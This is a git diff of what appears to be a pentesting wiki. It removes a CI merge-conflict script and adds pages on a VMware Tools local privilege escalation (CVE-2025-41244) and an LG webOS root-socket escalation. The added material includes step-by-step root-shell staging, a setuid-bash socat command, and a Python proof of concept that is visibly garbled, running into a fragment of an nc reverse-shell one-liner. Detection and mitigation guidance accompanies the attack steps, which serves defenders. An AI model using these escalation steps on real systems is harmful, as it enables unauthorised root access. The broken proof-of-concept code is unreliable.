diff --git a/resolve_searchindex_conflicts.sh b/resolve_searchindex_conflicts.sh deleted file mode 100755 index bfce65f5e..000000000 --- a/resolve_searchindex_conflicts.sh +++ /dev/null @@ -1,139 +0,0 @@ -#!/bin/bash - -# Script to resolve searchindex.js conflicts by accepting master branch version -# This script is designed to handle merge conflicts that occur when PRs become -# desynchronized due to the auto-generated searchindex.js file. -# -# The searchindex.js file is automatically generated by the build process and -# frequently causes conflicts when multiple PRs are waiting to be merged. -# This script automatically resolves those conflicts by accepting the master -# branch version of the file. -# -# Usage: resolve_searchindex_conflicts.sh - -set -euo pipefail - -# Validate arguments -if [ $# -ne 3 ]; then - echo "Usage: $0 " - exit 1 -fi - -PR_NUMBER="$1" -HEAD_BRANCH="$2" -BASE_BRANCH="$3" - -# Validate required environment variables -if [ -z "${GITHUB_REPOSITORY:-}" ]; then - echo "Error: GITHUB_REPOSITORY environment variable is required" - exit 1 -fi - -if [ -z "${GH_TOKEN:-}" ]; then - echo "Error: GH_TOKEN environment variable is required" - exit 1 -fi - -echo "Resolving conflicts for PR #$PR_NUMBER (branch: $HEAD_BRANCH -> $BASE_BRANCH)" - -# Get current directory for safety -ORIGINAL_DIR=$(pwd) - -# Create a temporary directory for the operation -TEMP_DIR=$(mktemp -d) -echo "Working in temporary directory: $TEMP_DIR" - -cleanup() { - echo "Cleaning up..." - cd "$ORIGINAL_DIR" - rm -rf "$TEMP_DIR" -} -trap cleanup EXIT - -# Clone the repository to the temp directory -echo "Cloning repository..." -cd "$TEMP_DIR" -gh repo clone "$GITHUB_REPOSITORY" . --branch "$HEAD_BRANCH" - -# Configure git -git config user.email "action@github.com" -git config user.name "GitHub Action" - -# Fetch all branches -git fetch origin - -# Make sure we're on the correct branch -git checkout "$HEAD_BRANCH" - -# Try to merge the base branch -echo "Attempting to merge $BASE_BRANCH into $HEAD_BRANCH..." -if git merge "origin/$BASE_BRANCH" --no-edit; then - echo "No conflicts found, merge successful" - - # Push the updated branch - echo "Pushing merged branch..." - git push origin "$HEAD_BRANCH" - exit 0 -fi - -# Check what files have conflicts -echo "Checking for conflicts..." -conflicted_files=$(git diff --name-only --diff-filter=U) -echo "Conflicted files: $conflicted_files" - -# Check if searchindex.js is the only conflict or if conflicts are only in acceptable files -acceptable_conflicts=true -searchindex_conflict=false - -for file in $conflicted_files; do - case "$file" in - "searchindex.js") - searchindex_conflict=true - echo "Found searchindex.js conflict (acceptable)" - ;; - *) - echo "Found unacceptable conflict in: $file" - acceptable_conflicts=false - ;; - esac -done - -if [ "$acceptable_conflicts" = false ]; then - echo "Cannot auto-resolve: conflicts found in files other than searchindex.js" - git merge --abort - exit 1 -fi - -if [ "$searchindex_conflict" = false ]; then - echo "No searchindex.js conflicts found, but merge failed for unknown reason" - git merge --abort - exit 1 -fi - -echo "Resolving searchindex.js conflict by accepting $BASE_BRANCH version..." - -# Accept the base branch version of searchindex.js (--theirs refers to the branch being merged in) -git checkout --theirs searchindex.js -git add searchindex.js - -# Check if there are any other staged changes from the merge -staged_files=$(git diff --cached --name-only || true) -echo "Staged files after resolution: $staged_files" - -# Complete the merge -if git commit --no-edit; then - echo "Successfully resolved merge conflicts" - - # Push the updated branch - echo "Pushing resolved branch..." - if git push origin "$HEAD_BRANCH"; then - echo "Successfully pushed resolved branch" - exit 0 - else - echo "Failed to push resolved branch" - exit 1 - fi -else - echo "Failed to commit merge resolution" - exit 1 -fi \ No newline at end of file diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 79f641eab..6d276923d 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -110,6 +110,7 @@ - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) + - [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md index 54edb502f..db28ccb5a 100644 --- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md +++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md @@ -1,6 +1,6 @@ # Mutation Testing for Solidity with Slither (slither-mutate) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} Mutation testing "tests your tests" by systematically introducing small changes (mutants) into your Solidity code and re-running your test suite. If a test fails, the mutant is killed. If the tests still pass, the mutant survives, revealing a blind spot in your test suite that line/branch coverage cannot detect. @@ -123,4 +123,4 @@ Guidance: Treat survivors that affect value transfers, accounting, or access con - [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf) - [Slither (GitHub)](https://github.com/crytic/slither) -{{#include ../../../banners/hacktricks-training.md}} \ No newline at end of file +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 72217d607..e7c494b07 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -1723,6 +1723,16 @@ Android rooting frameworks commonly hook a syscall to expose privileged kernel f android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} +## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) + +Regex-driven service discovery in VMware Tools/Aria Operations can extract a binary path from process command lines and execute it with -v under a privileged context. Permissive patterns (e.g., using \S) may match attacker-staged listeners in writable locations (e.g., /tmp/httpd), leading to execution as root (CWE-426 Untrusted Search Path). + +Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here: + +{{#ref}} +vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} + ## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) @@ -1774,4 +1784,6 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) - [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index d328a2019..8e99eaa4e 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -43,6 +43,45 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` +## Case study: Root-owned UNIX socket signal-triggered escalation (LG webOS) + +Some privileged daemons expose a root-owned UNIX socket that accepts untrusted input and couples privileged actions to thread-IDs and signals. If the protocol lets an unprivileged client influence which native thread is targeted, you may be able to trigger a privileged code path and escalate. + +Observed pattern: +- Connect to a root-owned socket (e.g., /tmp/remotelogger). +- Create a thread and obtain its native thread id (TID). +- Send the TID (packed) plus padding as a request; receive an acknowledgement. +- Deliver a specific signal to that TID to trigger the privileged behaviour. + +Minimal PoC sketch: + +```python +import socket, struct, os, threading, time +# Spawn a thread so we have a TID we can signal +th = threading.Thread(target=time.sleep, args=(600,)); th.start() + tid = th.native_id # Python >=3.8 +s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) +s.connect("/tmp/remotelogger") +s.sendall(struct.pack('&1 | nc 23231 > /tmp/f +``` + +Notes: +- This class of bugs arises from trusting values derived from unprivileged client state (TIDs) and binding them to privileged signal handlers or logic. +- Harden by enforcing credentials on the socket, validating message formats, and decoupling privileged operations from externally supplied thread identifiers. + +## References + +- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md new file mode 100644 index 000000000..3938ac074 --- /dev/null +++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -0,0 +1,153 @@ +# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244) + +{{#include ../../banners/hacktricks-training.md}} + +This technique abuses regex-driven service discovery pipelines that parse running process command lines to infer service versions and then execute a candidate binary with a "version" flag. When permissive patterns accept untrusted, attacker-controlled paths (e.g., /tmp/httpd), the privileged collector executes an arbitrary binary from an untrusted location, yielding local privilege escalation. NVISO documented this in VMware Tools/Aria Operations Service Discovery as CVE-2025-41244. + +- Impact: Local privilege escalation to root (or to the privileged discovery account) +- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines +- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) + +## How VMware service discovery works (high level) + +- Credential-based (legacy): Aria executes discovery scripts inside the guest via VMware Tools using configured privileged credentials. +- Credential-less (modern): Discovery logic runs within VMware Tools, already privileged in the guest. + +Both modes ultimately run shell logic that scans processes with listening sockets, extracts a matching command path via a regex, and executes the first argv token with a version flag. + +## Root cause and vulnerable pattern (open-vm-tools) + +In open-vm-tools, the serviceDiscovery plugin script get-versions.sh matches candidate binaries using broad regular expressions and executes the first token without any trusted-path validation: + +```bash +get_version() { + PATTERN=$1 + VERSION_OPTION=$2 + for p in $space_separated_pids + do + COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") + [ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND + done +} +``` + +It is invoked with permissive patterns containing \S (non-whitespace) that will happily match non-system paths in user-writable locations: + +```bash +get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v +get_version "/usr/(bin|sbin)/apache\S*" -v +get_version "/\S+/mysqld($|\s)" -V +get_version "\.?/\S*nginx($|\s)" -v +get_version "/\S+/srm/bin/vmware-dr($|\s)" --version +get_version "/\S+/dataserver($|\s)" -v +``` + +- Extraction uses grep -Eo and takes the first token: ${COMMAND%%[[:space:]]*} +- No whitelist/allowlist of trusted system paths; any discovered listener with a matching name is executed with -v/--version + +This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component. + +## Exploitation (both credential-less and credential-based modes) + +Preconditions +- You can run an unprivileged process that opens a listening socket on the guest. +- The discovery job is enabled and runs periodically (historically ~5 minutes). + +Steps +1) Stage a binary in a path matching one of the permissive regexes, e.g. /tmp/httpd or ./nginx +2) Run it as a low-privileged user and ensure it opens any listening socket +3) Wait for the discovery cycle; the privileged collector will automatically execute: /tmp/httpd -v (or similar), running your program as root + +Minimal demo (using NVISO’s approach) +```bash +# Build any small helper that: +# - default mode: opens a dummy TCP listener +# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i) +# Example staging and trigger +cp your_helper /tmp/httpd +chmod +x /tmp/httpd +/tmp/httpd # run as low-priv user and wait for the cycle +# After the next cycle, expect a root shell or your privileged action +``` + +Typical process lineage +- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i +- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i + +Artifacts (credential-based) +Recovered SDMP wrapper scripts under /tmp/VMware-SDMP-Scripts-{UUID}/ may show direct execution of the rogue path: +```bash +/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" +``` + +## Generalizing the technique: regex-driven discovery abuse (portable pattern) + +Many agents and monitoring suites implement version/service discovery by: +- Enumerating processes with listening sockets +- Grepping argv/command lines with permissive regexes (e.g., patterns containing \S) +- Executing the matched path with a benign flag like -v, --version, -V, -h + +If the regex accepts untrusted paths and the path is executed from a privileged context, you get CWE-426 Untrusted Search Path execution. + +Abuse recipe +- Name your binary like common daemons that the regex is likely to match: httpd, nginx, mysqld, dataserver +- Place it in a writable directory: /tmp/httpd, ./nginx +- Ensure it matches the regex and opens any port to be enumerated +- Wait for the scheduled collector; you get an automatic privileged invocation of -v + +Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth. + +Reusable privileged I/O relay trick +- Build your helper so that on privileged invocation (-v/--version) it connects to a known rendezvous (e.g., a Linux abstract UNIX socket like @cve) and bridges stdio to /bin/sh -i. This avoids on-disk artifacts and works across many environments where the same binary is re-invoked with a flag. + +## Detection and DFIR guidance + +Hunting queries +- Uncommon children of vmtoolsd or get-versions.sh such as /tmp/httpd, ./nginx, /tmp/mysqld +- Any execution of non-system absolute paths by discovery scripts (look for spaces in ${COMMAND%%...} expansions) +- ps -ef --forest to visualize ancestry trees: vmtoolsd -> get-versions.sh -> + +On Aria SDMP (credential-based) +- Inspect /tmp/VMware-SDMP-Scripts-{UUID}/ for transient scripts and stdout/stderr artifacts showing execution of attacker paths + +Policy/telemetry +- Alert when privileged collectors execute from non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/ +- File integrity monitoring on get-versions.sh and VMware Tools plugins + +## Mitigations + +- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP) +- Disable or restrict credential-less discovery where feasible +- Validate trusted paths: restrict execution to allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) and only exact known binaries +- Avoid permissive regexes with \S; prefer anchored, explicit absolute paths and exact command names +- Drop privileges for discovery helpers where possible; sandbox (seccomp/AppArmor) to reduce impact +- Monitor for and alert on vmtoolsd/get-versions.sh executing non-system paths + +## Notes for defenders and implementers + +Safer matching and execution pattern +```bash +# Bad: permissive regex and blind exec +COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") +[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v + +# Good: strict allowlist + path checks +candidate=$(get_command_line "$pid" | awk '{print $1}') +case "$candidate" in + /usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2) + "$candidate" -v 2>&1 ;; + *) + : # ignore non-allowlisted paths + ;; +esac +``` + +## References + +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) +- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) +- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh) +- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) +- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html) + +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index 16e2dc06e..18d5df082 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -20,6 +20,15 @@ msf> auxiliary/scanner/vmware/vmware_http_login If you find valid credentials, you can use more metasploit scanner modules to obtain information. + +### See also + +Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244): + +{{#ref}} +../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 1078dfb9a..c623f7f94 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -744,6 +744,7 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
+ ## References - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)